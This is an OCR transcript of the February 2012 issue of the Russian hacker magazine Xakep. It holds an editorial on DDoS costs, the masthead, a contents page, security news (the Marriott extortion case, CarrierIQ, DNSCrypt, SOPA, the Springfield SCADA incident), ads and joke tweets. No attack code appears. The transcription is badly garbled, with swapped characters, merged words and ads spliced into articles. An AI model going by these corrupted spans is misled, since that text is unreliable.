xakep 02_2012

148
ili i li 111il1 li 11 iilli 1 il" I 1 11 ili 1IIIil i i I 4607157100063 . 12002 iii' a

Upload: alexey-a

Post on 29-Mar-2016

301 views

Category:

Documents


18 download

DESCRIPTION

Xkep journal

TRANSCRIPT

Page 1: Xakep 02_2012

1~11 ili i li 111il1 li 11 iilli 1 il" I 1 11 ili 1IIIil i i I 4607157100063 . 12002 iii' a

Page 2: Xakep 02_2012
Page 3: Xakep 02_2012

Intro

НОВОГОДНИЙ ooos Во время новогодни х праздников сложилась очень ироничная

ситуация. Только мы закончили делать интервью с создателями

анти-ДДоС технологии QRATOR, как наш сайт и форум капитально легли от мощного новогодне-рождественского ДДоСа. Ситуация

была очень простая: 100 мегабитный канал нашего сервера ока­зался почти на 100%за груженлевымизапросами и ресурсов для

обслуживания нормальных посетителей уже не осталось. Причем

не только на уровне канала, но и на уровне производительности

самой платформы.

Ситуацию спасло только обращение как раз к нашим друзьям

из Highload Lab, сервис которыхдостаточно быстро решил пробле­му, грамотно зафильтровав вражеский ботнет. Надо сказать, это

противостояние между интернет-сервисами и ДДоС-ботнетами­

достаточно унылая история. По сути, все опять упирается в деньги:

ведьиорганизацияатак,изащитаотни х требуютфинансовых

вливаний.

Радует одно: по моим подсчетам в этом финансовом споре

перевес все-таки на белой стороне: организация атак стоит подо­

роже, чем пользование специальными сервисами для фильтрации

трафика . Прикинуть просто : условная стоимость примитивного

DDoS'a начинается от$50 в сутки, то есть за месяц DDoS'a придет­ся выложить $1500. Уже эта сумма явно больше, чем требуется для фильтрации зловредной активности: за 50 баксов в день ничего сверхъестественного не сделаешь, а стоимость профессиональ ­

ной защиты начинается от$160 в месяц. В то же время для неподготовленного ресурса даже прими­

тивный ДДоС можетстать настоящей бедой: малотого, что никто

обычно к этому не готов в те х ническом плане, но и необходимость

платить пусть даже $160 в месяц можетоказаться смертельной для частного некоммерческого саЙта . Так что 0005 сейчас это как туберкулез - болезнь бедных :1.

ХАКЕР 02/157/2012

nikitozz. ГЛ. ред. Х shop.glc.гu/xakep

vkопtаktе.гu/хаkер таа

РЕДАКЦИЯ Главный редактор

Шеф-редактор

Выпускающий редактор

Никита «nikitozz» Кислицин Inikitozrareal.xakep.гu l Степан «step» ИЛЬИН IsteprareaJ.xakep.ruJ Николай «go[l» Андреев Igorlum0гeal .xakep.гu l

Степан «step» ИЛЬИН (step0real.xakep.гu ) Маг (magg0real.xakep.гu )

Редакторы руБР.ик

PC_ZONE и UNITS ВЗЛОМ UNIХОlDиSУN/АСК MALWARE кодинг

Андрей «Andrushock» Матвеев landгushock0real.xakep.ru l Александр «Ог. Klouniz» Лозовский [alexander0real.xakep.гu J

Николай «gorl» Андреев [gorlumrareal.xakep.rul РR-директор

Литературный редактор

ОУО

Анна Григорьева Iqriqorievaraglc.rul Елена Болотникова

Антон «ant» Жуков lantrareal.xakep.ru) Выпускающий редактор Uпiх-раздел

5есuгity-раздел Монтаж видео

Андрей «Andrushock» Матвеев landrushockrareal.xakep.ruJ Дмитрий «О1 91» Евдокимов {evdokimovdsragmail.coml Максим Трубицын

ART Арт-директор

Дизайиер

Верстальщик Имюстрация на обложке

PUBLISHING

Алик Вайнер [aliklaglc ru l Егор Пономарев Вера (ветлы�x Сергей Снурник

Учредитель 000 «Гейм Л,нд», 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 зтаж, офис No 21. Тел.: [4951935-7034, факс: [4951545-0906

Генеральный директор

Генеральный издатель

Финансовый директор

Директор по маркетингу Управляющий арт-директор Главный дизайнер Директор по производству

Дмитрий Марунов Андрей Михайлюк

Андрей Фатеркин

Елена Каркашадзе Алик Вайнер Знди Тернбулл Сергей Кучерявый

РАЗМЕЩЕНИЕ РЕКЛАМЫ Тел .: [4951935-7034, факс: [4951545-0906

РЕКЛАМНЫЙ ОТДЕn Директор группы TECHNOLOGY Старшие менеджеры

Менеджер

Директор корпоративной группы

Старший менеджер

Менеджер

Старший трафик-менеджер

Марина Филатова [filatovala glc.ru l Ольга Емель.нцева [olgaemllaglc.rul Оксана Алехина [alekhinalaglc.rul Елена Поликарпова Ipolikarpovaraqlc.ru) [работа с рекламными агентствами) Кристина Татаренкова Itatarenkovaraqlc.rul Юлия Господинова Igospodinovaraglc.ru ) Мария Дубровская [dubrovskayalaglc.rul Марь. Буланова [bulanovalaglc.rul

ОТДЕnРЕАПИЭАЦИИСПЕЦПРОЕКТОВ Директор Александр Коренфельд [korenfeldlaglc.ru l Менеджеры Светлана Мюллер

Наталия Тулинова

РАСПРОСТРАНЕНИЕ Кошелева Татьяна Ikoshelevaraqlc.ru) Клепикова Виктория flepikovaraqlc.rul

Директор по дистрибуции

Руководитель отдела подписки Руководитель

спецраспространения Лукичева Наталь. [Iukichevalaglc.rul

Претензии идополнительная иифа:

8 случае возникновения вопросов по качеству печати и ОVО-дисков: claimraqlc.ru. Горячая лии ия по подписке

Факс для отправки купонов и квитанций на новые подписки: (495) 545-09-06 Телефон отдела подписки дпя жителей Москвы: [4951663-82-77 Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Дn. писем: 101000, Москва, Г л.авпочтамт, a/. 652, Хакер

Зарегистрировано в Министерстве Российской Федерации поделам печати, телерадиовещанию и средствам массовых коммуникаций ПИ я 77-11802 от 14.02.2002 Отпечатано в типографии Zapolex, Польша. Тираж 219 833 зкземпляров.

Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к размышлению. Лица, использующие данную информацию в

противозаконных целях, могутбыть привлечены к ответственности . Редакция не несетответствен­

ности за содержание рекламных объявлений в номере. За перепечатку наших материалов без спроса- преследуем. По вопросам лицензирования и получения прав на использование редакци­онных материалов журнала обращайтесь по адресу: contentraglc.ru. © ООО«ГеймЛ,нд», РФ, 2012

001

Page 4: Xakep 02_2012

Content РОССИЙСКИЕ ХАКЕРЫ ВЗЛОМАЛИ СИСТЕМУ УПРАВЛЕНИЯ ВОДОПРО­ВОДОМ ГОРОДАСПРИНГФИЛД, США.

HEADER 004

011

COVERSТORY

MEGANEW5 Все новое за последний месяц

hackertweets Хак-сцена в твиттере

COVERSTORY

018 Охота на жуков в

Google Chrome Руководство по

заработку на пен­

тесте популярно­

го веб-браузера

016

017

Колонка Степы Ильинна

Виртуальная машина на флеwке

Proof-of-concept Менеджер задач на Ехсеl

010

Отряд AntiDDoS Создатель Highload Lab Александр Лямин расска­

зывает о буднях борцов с

DDoS'OM.

COVERSTORY

030 Как накрутить

миллион

Полный ГИД по

накрутке онлайн­

голосований

CURRAN-GARDNER WAТER DISTRICT

Page 5: Xakep 02_2012

PCZONE 036 Игры в «песочнице»

Приспосабливаем Sandboxie для анализа подозрительных

файлов

040 Апdгоid на х86

Как использоватьАпdгоid на обычном компе

044 Где хранить код?

Выбираем правильный хостинг кода

_ ВЗЛОМ

048 Easy-Hack Хакерские секреты простых вещей

052 Обзорзксплоитов

Анализсвеженькихуязвимостей

058 Тотальный дестрой МопgоDВ

Разоблачение мифа о безопа сности NoSQL СУБД

064 Легальныйтроян: это как?

Потрошим коммерческий зловред Remote Control System

070 X-Tools Программы для взлома

_ СЦЕНА

072 ZeroNights2011 Запоздалыйотчетсхакерскойконференции

в Санкт-Петербурге

_ MALWARE

074

080

082

Бурим антивирус. Еще глубже!

Рассматриваем способы мониторинга событий

и проактивной защиты в разных антивирусных программах

VВR-руткит

Новый тип руткитов, заражающих ВООТ-сектора

История руткитов

От начала начал до сегодняшнего дня

КОДИНГ

088 Ищем ошибки в программах на С/С++

Обзор бесплатных инструментов для статического

анализа кода

094 HOW-TO: РЕ-пакер Разрабатываем свой упаковщик исполняемых файлов

100 Паттерн«Команда»

Унифицируем интерфейсы выполнения команд

_ UNIXOID

104 Победы и поражения ореп source-2011 Самые важные достижения в мире ореп source

и прогнозы на будущее

110 Криптологическийрай

Хардкорные возможности OpenSSL и OpenSSH,

о которых ты не знал

_ SYN/ACK

116 Лечебное обрезание

Делаем минималистичный Liпuх-дистрибутив

для конкретного сервера

122 Рожденный под цифрой восемь

Знакомимся с Windows Server 8 126 Новые доспехи для IТ-инфраструктуры

Применение IDS/IРS-действенный способ предотвратить вторжение в корпоративную сеть

_ FERRUM

132

136

я твой Sandy Bridge труба шатал Тестирование материнских плат на базе чипсета АМО А75

Samsung RF712-S01 Универсальный ноутбукдля развлечений!

_ ЮНИТЫ

138 FAQ UNIТED Большой FAQ

142

143

Диско

8.5 Гб всякой всячины

WWW2 Удобные wеЬ-сервисы

Page 6: Xakep 02_2012

MEGANEWS КАК НЕ НУЖНО УСТРАИВАТЬСЯ НА РАБОТУ ХАКЕР ПОПЫТАЛСЯ НАНЯТЬСЯ В КОМПАНИЮ,

КОТОРУЮ САМ ЖЕ И ВЗЛОМАЛ

а

Компания Martiott оцениваетсвои за­

тратыв400тыс.-1 мnн доnnаров. День­

гиуwnинаопnату

усnугконсуnьтантов,

устранениебреwи в безопасности и вы­явnениеущерба, на­

несенногохакером.

лучай, произошедший недавно в США, доказывает, что даже умелый

хакер может бытьдураком. А как еще назвать парня, попавшего в руки

Секретной службы США по собственной глупости? Отличившегося

венгерского хакера зовут Аттила Немет, ему 26 лет, и он решил устроиться на работу очень необычным образом. Еще в прошлом году хакер разослал со­

трудникам сети Marriott [зта крупная сеть отелей, работающая по всему миру, наверняка тебе знакома) инфицированные трояном письма . Всего пострадало

около ста человек. С помощью троянца хакер успешно добрался до конфиден­

циальных финансовых данных компании и похитил документацию . Затем он

принялся удаленно шантажировать Marriott, угрожая опубликовать укра­денные денные, если ему не дадут работу в IТ-подразделении сети отелей!

Неудивительно, что такой наглости в Marriott не выдержали и обратились за помощью в Секретную службу США . Люди из органов, при кинувшись HR­специалистами, пообщались с Неметом по e-mail и телефону и в итоге назна­чили ему собеседование на территории США. Когда хакер прилетел в Штаты,

с ним действительно провели беседу, и он был уверен, что общается с обычным

рекрутером . В ходе интервью Неметсам выложил всё о письмах, заражении,

шантаже. Самонадеянного хакера, разумеется, арестовали. Хотя Немет во всем

сознался, теперь ему грозит до десяти лет тюрьмы .

'5 Г6ИТ/С-ТАКОЙ ВЕЛИЧИ· ПРЕЗИДЕНТИГЕНЕРАЛЬ· ИЗ GOOGLE+ ТЕПЕРЬ МОЖНО НЫ ДОСТИГЛА МОЩНОСТЬ НЫЙДИРЕКТОР Walt Disney 6ЕСПЛАТНОЗВОНИТЬ намо-

DDОS·АТАКИ, зафиксирован- Роберт Айгер приобрел цен- бильные и стационарные те-

ной специалистами Prolexic. ные бумаги компании Apple лефоны:такой функционал

Пятнадцать тысяч запросов на сумму почти один миллион появился у «Видеовстреч».

в секунду, это практически долларов-всего 2670 акций Увы, пока он доступен только

DDoSroAa. по цене $375 за штуку. для США.

21 МИНУТУ в среднем будетзанимать чистая инсталляция (с нуля) Windows 8, утверждают в Microsoft.

ФЛЕШКАСДВУМЯ СТЕПЕНЯМИ ЗАЩИТЫ ДЕВАЙС ДЛЯ ОЧЕНЬ-ОЧЕНЬ СЕКРЕТНЫХ ДАННЫХ

овсем скоро в производство, а затем и в продажу

поступит флешка Crypteks, обладающая сразу двумя механизмами защиты. Это устройство

поможет сохранить твои данные в безопасности, даже

если третьим лицам удалось получить физический доступ

к флешке. Для того чтобы его ограничить, разработчики

поставляют с флешкой криптекс- цилиндрический

механизм с пятью кодовыми кольцами, на каждое из ко­

торыхнанесен026буквлатинскогоалфавита.Навыходе

получается порядка 12 млн комбинаций, то есть вскрыть такой замок будет весьма трудно . Но даже если флешку удастся извлечь из криптекса и вставить в компьютер, для

доступа кданным придется ввести еще и код, поскольку

накопитель оснащен чипом 256-битного АЕS-шифрования.

Чтобы вскрыть зтузащиту, придется изрядно попотеть .

В штатном режиме Crypteks обеспечивает скорость чтения 24 Мб/с и скорость записи 10 Мб/с. Устройство ожидается в продаже уже в этом году. Стоимость Crypteks USB на 8 Гб составит 130долларов, а на 16 Гб-160долларов. Цена бюджетной модели объемом 4 Гб пока, увы, не сообщается .

MYS~ ЭКСПЕРТЫ MCAFEE ПРО· MYSQL.COM СНОВА ВЗЛО· ЧАТПЛАТФОРМЕАNDRОID МАЛИ ПРИ ПОМОЩИ SQL· ВИРУСНУЮ ЭПИДЕМИЮ. ПО их ИНЪЕКЦИИ, на зтот раз от-

данным, количество вирусов личился хакер D35МОЩJ1'2.

для Android выросло на 37% Может, это было бы не смеш-

по сравнению со вторым но, если бы это не был уже

кварталом 2011 года. третий случай эа год.

ХАКЕР 02 /157/2 012

Page 7: Xakep 02_2012
Page 8: Xakep 02_2012

MEGANEWS БЕТА-ТЕСТ MICROSOFТ OFFICE 15 должен стартовать уже совсем скоро, в январе 2012-го.

ЗАЩИТАДЛЯ DNS-СОЕДИНЕНИЙ ' В OPENDNS ПРИДУМАЛИ НОВОЕ СРЕДСТВО ДЛЯ ПРЕДОТВРАЩЕНИЯ АТАК ТИПА MAN-IN-THE-MIDDLE

«Наша технология дополняетDNSSЕС и вседругие службы, С8яэанныесэащитой DNS. DNSCrypl сразу жепосnеустановки

обеспечивает безопасность и при­ватность обменя DNS-трафиком

междутобой и OpenDNS» (Дзвид Юлевич, основатель и глава OpenDNS).

омпания OpenON5 анонсировала проект DN5Сгурt-новое сред-ство для защиты от атак, связанных с модификацией транзитного

трафика DN5 или манипулрованием им [man -in-the-midd le, спуфинг или снифингl. Основная задача проекта состоит в полном шифровании канала связи между клиентом и сервером DN5. Примерно так же 55L используется для шифрования НТТР-трафика . DN5Crypt дополняеттехнологию DN55EC, которая в первую очередь обеспечивает аутентификацию, верификацию и получе-

ние данных, но не предоставляетсредств для их шифрования. По сравнению

с проектом DN5Curv, который осуществляет полный цикл шифрования всех запросов DN5, DN5Crypt значительно упрощен, причем как сточки зрения реализации, так и в плане конфигурации. DN5Crypt ориентирован только на шифрование канала связи между пользователем и резолвером DN5 и не за­трагивает шифрование данных между DN5-серверами. DN5Crypt использует реализацию алгоритма Curve25519 [шифрование по зллиптическим кривымl вместо R5A. Серверная часть DN5Crypt, выполненная в виде прокси , может ра­

ботать в большинстве серверных систем, включая ОрепВ5О , NetB5D, Dragonfly В5О, FreeB5D, Linux и Мас 05 Х. DN5Crypt не поддерживает кеширование, поз­томуразработчикирекомендуютиспользоватьеговсочетаниисподдерживаю­

щими кеширование резолверами, такими как Unbound, PowerDN5 и dnscache. Клиентская часть пока, к сожалению, разработана только для Мас 05 Х.

ПОСЛЕДНИЕ СЛУХИ С ВОСТОКА

ИЗ ЮЖНОЙ КОРЕИ СООБЩАЮТ, ЧТО КОМПАНИЯ SAMSUNG В 2012 ГОДУ ВООБЩЕ ПЛАНИРУЕТ ОТКАЗАТЬСЯ ОТ ВЫПУСКА НЕТБУКОВ С ЭКРАНОМ 10··

006

CARRIERIQ СЛЕДИТ ЗАТОБОЙ НОВЫЙ СКАНДАЛ ИЗ-ЗАWПИОНСКОГО ПОНАСМАРТФОНАХ

кандал сучастием ведущих компаний-произво­

дителей смартфонов и ФБР разразился недавно

из-за странного «открытия» Апdгоid-разра6'отчика

Тревора Экхарта. Всё началось сзаявления, которое он

опубликовал на сайте androidsecuritytest.com. Оно гласило, что ПО некоЙ компании СаггiегЮ в реальном времени за­поминает, какие клавиши он нажимаетна своем телефоне,

фиксируетего передвижения и всеми доступными методами

следитза ним без его ведома и согласия. По словам Экхарта,

приложениетакже шпионитза владельцами миллионов

смартфонов подуправлением Android, RIM и ОС Nokia [про­блема имеется далеко не во всех прошивках и моделяхl. Не прошло и недели, как из компании CarrierlQ Экхарту прислали письмо-предупреждение [Cease&Desistl. В нем говорилось, что Экхартякобы нарушил патент[то есть опу­бликовал те данные, которые не имел права публиковаты�' а также распространял лживые сведения . Разработчик

не растерялся и заручился поддержкой Electronic Frontier Foundation, которая подтвердила что, согласно Первой поправке к Конституции США, его публикация не нарушает

закон. CarrierlQ пришлосЬ«сдать назад» и извиниться . «Мы

заблуждались и поэтому при носим мистеруЭкхартусвои

извинения за проблемы, которые могли возникнуть у него

в связи с нашим письмом. Мы уважаем работу EFF и раз­деляемихзаинтересованностьвзащитеправнасвободу

слова в быстро развивающемсятехнологическом мире»,­

mаситофициальноезаявление . Однакокомпаниявсёравно

продолжала отрицать, что ее ПО является руткитом и следит

за пользователями, игнорируя закон. Однако Тревор Экхарт

на зтом не остановился. В ответ на заискивания компании

он опубликовал на YouTube видео [youtu.beIТ17XQl AYNol, в котором наглядно продемонстрировал всёто, о чем писал

ранее . С помощью анализатора пакетов он показал, как

софтотСаггiегЮ регистрирует каждое нажатие клавиши

и каждое полученное 5М5, пока устройство находится

в режиме полета. Затем он подключилтелефон kWi-Fi-сети

и открыл Google. Хотя он отказал поисковому гиганту в за­просе на определение местоположения, CarrierlQ все равно зафиксировал его. Потом шпионское ПО вточности записало

его поисковый запрос [helloworldl, хотя он ввел его на стра­нице , которая использует протокол 55L. Видео, которое заканчивается резонными вопросами«почемувызывается

5M5Notify, отсылающийтекстовые сообщения в СаггiегЮ?» и « почему читаются данные, передаваемые по моему

Wi-Fi-соединению моим браузером, особенно по прото-

колу НТТР5?»,содержитещемногоинтересного. Можешь

посмотретьсам. Инцидент, получивший широкий резонанс

в СМИ, побудил сенатора Эла Франкена потребоватьу ком­

пании СаггiегЮ объяснений отом, почему она считает, что их

диагностическое ПО, встроенное в 141 модель смартфона, не нарушаетзакон СШАо несанкционированных подклю­

чениях клиниям связи . Компания Apple спешно заверила, что софтотСаггiегЮдавно не входитв состав i05. На самом деле ПО есть, но оно просыпается только в активном диа­

гностическом режиме, который по умолчанию в «яблочных»

аппаратах, конечно, отключен. ФБР, в свою очередь, отказа­

лось комментировать ситуацию, сославшись нато, что ведет

некое расследование. Пока не ясно, использует ли само ФБР

софтотСаггiегlQ, или ведетрасследование в отношении

CarrierlQ, или совмещает и то и другое .

ХАКЕР 02/157/ 2012

Page 9: Xakep 02_2012

~ YVEFSR ~~~EH Е ~ РОШЕ _ СОЦАТЕЛЬ РАСТИТЕЛЬНОЙ КОСМЕТИКИ

..

,.,.-........ .

ЭФФЕКТИВНОСТЬ ПРОТИВ ПРЫШЕЙ И БЕРЕЖНОЕ ОТНОШЕНИЕ К КОЖЕ

Исследователи Растительной Косметики Ив Роше объединили

салициловую кисло"!)" обладающую антибактериальным эффектом и способствующую обновлению кожи, ДПЯ эффективного воздействия на прыщи, и экстракт мякоти Алоэ Вера БИО, получивший признание

благодаря своим восстанавливающим свойствам, ДПЯ гарантии оmимальной переносимости кожей.

Эффективность доказана:

- Глубоко очищает кожу. - Устроняет черные точки.

- Предупреждает появление прыщей и черных точек.

Узнать больше:

Присоединяйтесь

www.yves·rocher.ru Тел . : 8·800·3333·000 IЗ60НО< бесплотный)

Реклама . Товар сертифицирован. 111 Самостоятельная оценко, тест на удовлетворенность продуктом, проееденный при участии 26 человек. * Фopмyno СО;щ:JНО nOДЩ>'ЮТOI1OOIЧOCКИМ КОН1РОЛ<!М Pe<~нo французскими Щ>'ЮТOЛOIOМИ.

РЕКОМЕНДОВАНOl ~РМДТОЛОГДМИ'

Page 10: Xakep 02_2012

MEGANEWS ПОДАННЫМ MICROSOFТ, ПИРАТСКИЕ ОУО ПРОДАЮТ в 53 % магазинов Пскова, 44 % магазинов Красноярска и 43 % магазинов Сургута.

САМЫЕУЯЗВИМЫЕ СМАРТФОНЫ 2011 ГОДА СПЕЦИАЛИСТЫ BIT9 ОПУБЛИКОВАЛИ ЗАНИМАТЕЛЬНЫЙ АНТИТОП

Полный списокуяз­вимыхаппаратов,

по версии Bit9, вы­глядитследующим

образом: 1. Samsung Galaxy Mini. 2. НТС Desire. З. Sony Ericsson XperlaX10. 4. Sanyo Zio. 5. НТС Wildfire. 6. Samsung Epic4G. 7. LG OptimusS. 8. Samsung Galaxy S. 9. Motorola Droid Х. 10. LG OptimusOne. 11. Motorola Droid 2. 12. НТС Ev04G.

мериканская компания Bit9 опубликовала результаты очередного исследования. «Грязная» дюжина наиболее уязвимых смартфонов,

пользующихся популярностью у потребителей, выглядит забавно .

Весь зтотсписок состоит из аппаратов, работающих под управлением разных

версий ОС Android . Почетное 13 место занимает iPhone 4 вместе с более ста­рыми модификациями «яблочного» аппарата. Критериями попадания в зтот

bIack list стали популярность на рынке, устаревшая небезопасная версия ОС, установленная по умолчанию, и самые медленные циклы обновления.

Далеко не почетное первое место в антитопе досталось Samsung Galaxy Mini, а второе и третье места при надлежат не менее известны м «трубкам» НТС

Desire и Sопу Ericsson Xperia Х1 О соответственно. Почему «черный список» полностью состоит из аппаратов на базе Android

ОС? Исследователи Bit9 показали, что на 56 % [!] всех устройств на базе Android, представленных сегодня на рынке, установлена устаревшая версия ОС. Такие производители мобильныхустройств, KaKSamsung, НТС , Motorola и LG, зачастую продаютсмартфоны сужеустаревшим предустановленны м ПО .

Впоследствии они вовсе не торопятся модернизировать зти аппараты и осна­

щать их последними и наиболее безопасными версиями Android.

ЛИДЕР В ОБЛАСТИ ПРОИЗВОДСТВА

АКУСТИКИ ДЛЯ КОМПЬЮТЕРОВ

ПРЕДСТАВЛЯЕТОБНОВЛЕННУЮ

ЛИНЕЙКУКОЛОНОК.

008

EDIFIER R2500 Edifier International Ltd. расширяетсвоюлинейку аудио систем 2.0. Одна из новинокданнойлиней­ки - колонки Edifier R2500. Эта аудио система идеально подойдет для дома или офиса . Новинка

оснащена встроенным USB портом, SD кардриде­ром, FМ-тюнером и входом АUХдля подключения

любых источников звука. Колонки выполнены в

деревянном корпусе и производят50 Вт мощности.

Это обеспечивается благодаря 5 -дюймовым маг­нитнозкранированными динамикам, и 1-дюймо­

вомутвиттеру и 2 усилителям (для каждой колонки свой). Edifier R2500-впечатляющая система для тех, кто ищетотличное качествозвука.

SO РА УГРОЖАЕТ «В КО НТАКТЕ» И RUTRACKER НОВЫЙ ЗАКОНОПРОЕКТ SOPA (STOP ONLINE PIRACY АСТ) НАЦЕЛЕН НА БОРЬБУ С ПИРАТСТВОМ ВИНТЕРНЕТЕ

Палату пред­

ставителей США

поступил на рас­

смотрение законопроект

Stop Online Piracy Ас! [SOPA], предлагающий беспрецедентные меры

в отношении иностран­

ных сайтов с нелицен­

зионным контентом.

Планируется изымать

домены у владельцев ,

блокировать их счета

в платежны х системах,

перекрывать им источни-

ки финансирования [например, исключать зти ресурсы из рекламной программы AdSense], удалять контент зтих сайтов из поисковы х систем и на уровне tSP блокиро­вать доступ к ним с территории США . Что хуже, SOPA может при крыть лазейку в DМСА, которая позволяла

тем сайтам, с которых пиратский контент скачивали

сами пользователи , избегать ответственности за его

распространение. Представители МРАА и RIAA оп убли­ковали списки сайтов, которым SOPA грозит в первую очередь. Это торрент-трекеры [в том числе rutracker.org и demonoid.me] и различные фаЙл-хостинги. Отдель-но упомянут ВКонта кте, где реализованы некоторые

функции, которые «умышленно И зффективно нарушают законодательство».

Лоббисты из Голливуда уверяют, что только так можно

бороться с пиратство м вне американской юрисдикции

и в будущем сохранить мировоелидерство США на рынке

продуктов интеллектуальной собственности. Против­

никами проекта стали интернет-сообще ство, компании

Google, Yahoo, Facebo ok и все те, к то говорят о недопу­стимости введения цензуры в интернете, ведь право­

обладатели получают возможность без суда требовать

закрытия практически любого саЙта.

ДЖОН КАРМАК ИЗ ID SOFTWAREI ВЫЛОЖИЛ В ОТ­КРЫТЫЙ ДОСТУП исходники движка Doom 111 подсвобод­ной лицензией. Программи­

сты уже нашли в коде кучу

ошибок.

" I.~. g~= ~.If ' '- J .l, : .~, . !

~ ,i

ВЯНВАРЕСТЭНФОРДОТ­

КРЫВАЕТБЕСПЛАТНЫЕ

КУРСЫ ПО КРИПТОГРАФИИ:

crypto-class.org. Лекции будет читать профессор Дэн

Боне~одинизразработчи­

ков tcpcrypt.

ХАКЕР 02/157/2012

Page 11: Xakep 02_2012

Тот факт, что расходы на обслуживание всегда превосходят цену приобретения

устройства, сегодня не вызывает сомнений. Создавая устройства на базе

уникальной технологии ECOSYS, компания KYOCERA использует долговечные компоненты. Это делает нашу печать в высшей степени надежной, позволяет

нашим МФУ бесперебойно работать в течение длительного времени и создает

непревзойденно низкую общую стоимость владения в своем классе. Экономьте с

каждой новой страницей вместе с компанией KYOCERA. www.kyoceramita.ru

KYOCERA. ВЫ МОЖЕТЕ НА НАС ПОЛОЖИТЬСЯ.

КИОСЕРА МИТА Рус - Телефон +7 (495) 741 0004 - www.kyoceramita.ru

Корпорация KYOCERA MITA - www.kyoceramita.com ~K~[][ERa

Page 12: Xakep 02_2012

MEGANEWS ТРИ ГОДА ПОТРЕБОВАЛОСЬАРРLЕ,чтобы закрыть дыру в iTunes, через которую с 2008 года распространялся троян FinFisher.

ЗАЧЕМ РОССИЙСКИМ ХАКЕРАМ АМЕРИКАНСКИЙ НАСОС? ПЕРВАЯ В ИСТОРИИ ИНОСТРАННАЯ АТАКА НА .КОММУНАЛЬНУЮ ИНФРАСТРУКТУРУ США ПОКА НЕ НАНЕСЛА УЩЕРБ

екоторые американские эксперты давно

предупреждают, что новые компьютерные систе­

мы управления с модулями удаленного доступа

для сетей водоснабжения, атакже электросети smart grid с TCP/IP-стеком представляетсобой потенциальную опас ность . «Страшилки » ходят уже лет 10-15, стех пор как началасьактивнаякомпьютеризацияобъектовкомму­

нальной инфраструктуры .

Инцидентсо Stuхпеt показал , что атаки на промышлен­

ные объекты не фантастика, а реальная сфера деятель ­

ности спецслужб. После этого инцидента американская

военщина напряглась. Что будет, если такой вирус вы­

ведетизстроя, например,десятокамериканскихАЭС?Как

реагировать на диверсию? Пентагон попытался запугать

потенциальных врагов и заявил, что ответом на нее может

стать военный удар. Сегодня военная доктрина США рас­

сматривает кибератаки на национальную инфраструктуру

как возможный повод для начала военныхдействий.

Ихотядо настоящего времени ни одна подобная зарубеж­

ная атака не была реализована, всё когда-то случается

в первый раз.

Американскийзкспертвобластибезопасности

SСАDА-систем Джо Вайсс с 1998 года ведет счет произо­шедшим на промышленных объектах инцидентам, кото­

рые могут объясняться хакерской активностью. В ноябре 2011 года он поведал публике о «се нсационном » происше­

ствии. Из своих источников Вайссузнал, что иностранные

хаке ры проникли в SСАDА-системууправления водопро­

водом Сuггап-GагdпегWаtегDistгiсt в города Спрингфилд

[штат Иллинойс), которая обслуживает всего пару тысяч жителей. При закрытом расследовании инцидента влогах

якобы был обнаружен российский IР-адрес. Один из насо­

сов водоподъемной башни сгорел в результате много­

кратных включений и отключений. Расследование по­

казала, что система управления SCADA глючила в течен ие двух-трех последних месяцев. Поскольку вход в систему

был осуществлен через обычную форму с логином и паро­

лем , Вайсс заявил, что злоумышленник предварительно

взломал сайт разработчика SСАDА-систем и получил базу

с именами и паролями пользователей, так что опасность

грозит и системам водоснабжения в других американских

городах. Шумиха поднялась немалая - всё-таки речь шла

о первой в истории зарубежной атаке на коммунальную

инфраструктуру США.

После шумихи с « ВЗЛОМОМ» насосной станции 8 Иллинойсе с прессой связался некто prOf, который рассказал, насколько просто проникнуть в SСАDА-систему водопровода Южного Хьюстона (TexacJ. В качестве доказатель­ства он предъявил пять скринwотов и системную информацию. Хакер не причинил вреда системе, хотя могбы.

К расследованию подключились специалисты Ми­

нистерства внутренней безопасности США и ФБР. После

предварительного анализа логов они сообщили, что

никакихследовхакерскоЙатакиневыявлено.Наличие

российских IР-адресов в логах компьютерной системы

объясняется тем, что один из сотрудников организации­

подрядчика выезжал в Россию поличному делу. Ну а сам

водяно й насос глючил и сломался от старости.

Каждый решает сам, можно ли верить специалистам

из органов и ВаЙссу. С одной сторо ны , история о загра­

ничной поездке сотрудника выглядиткак-то нелепо. РгО!

говорит, что проникнуть В американскую SСАDА-систему

того же водопровода способен даже двухлетний ребенок

-это крайне просто. С другой стороны, зачем российским

хакерам американский нас ос?

ФАЙРВОЛ ДЛЯ ТВОЕЙ КОЖИ

CURRAN-GARDNER WATER DISTRICT

Марка Ив Роше представляет гамму средств

Pure System, разработанную специально для молодой проблемноЙкожи.Данная

программа эффективно борется с основны­

ми признаками проблемной кожи:

рые обеспечивают улыраэффективность

против прыщей и улырабережное отно­

шение к коже. Это салициловая кислота и

эстракт мякоти алоэ.

1) избыток кожного жира; 2) неровная поверхности кожи; З) прыщи и черные точки;

4) следы после прыщеЙ .

Работая над Pure System, Исследователи Растительной Косметики Yves Rocher оста­новили свой выбор на компонентах, кото-

Салициловая кислота, обладающая анти­

бактериальным эффектом, удаляет отмер­

шие клетки с поверхности кожи, а также

борется с закупоренностью пор- главной

причиной возникновения черных точек и

• прыщеЙ. Алое смягчает кожу и укрепляет ее защитную функцию.

Page 13: Xakep 02_2012

labobuk Мысль дня : ОДИН плохой про­

граммист ежегодно создает три

новых рабочих места .

lamikko: Только что изменил имя своей

точки Wi-Fi на '5.99 евро/ми­нута' . Что ж, посмотрим, как

много будет желающих, подсоединится к ней.

Написать компилятор несложно.

А вот написание компилятора,

laortegaalfredo: Не хочу раздувать, но в следую­

щем нашем исследовании мы

« Тебе также понадобятся мозги.

Это конечно не модуль Perl, но помогает.»

Комментарнй:

Цитата из списка необходимых Perl модулей для работы с s.qlпiпjа.

Из-за SOPA ты можешь полу­чить 5 лет за скачивание песни Майкла Джексона, что на один

год больше, чем получил доктор за его убий-

ЕВ Комментарий:

SOPA - Stop Опliпе Piracy Act. Законопроект, который развязывает руки

правообладателям и властям по воздей­

ствию на «пи ратские » ресурсы и их вла­

дельцев .

if[user.followers == О && user. I fоllоwiпg > 50 && twееt.mепtiопs

• > 3 && tweet . hasJinkНtweet. is_probabIy_spamJ

ladlitchfield: Пачка новых багов в 11 gR2 была отправлена на secalert_usla oracle.com и. я так и не получил

ответа в течение 24 часов ... Вы ребята забы­ли меня? ;-)

ЕВ Комментарий: Дэвид Личфелд самый злостный

убийца Oracle. Все самые страшные баги в этой СУБД - его рук дело, при этом, если

что не так, он не заискивает перед гигантом,

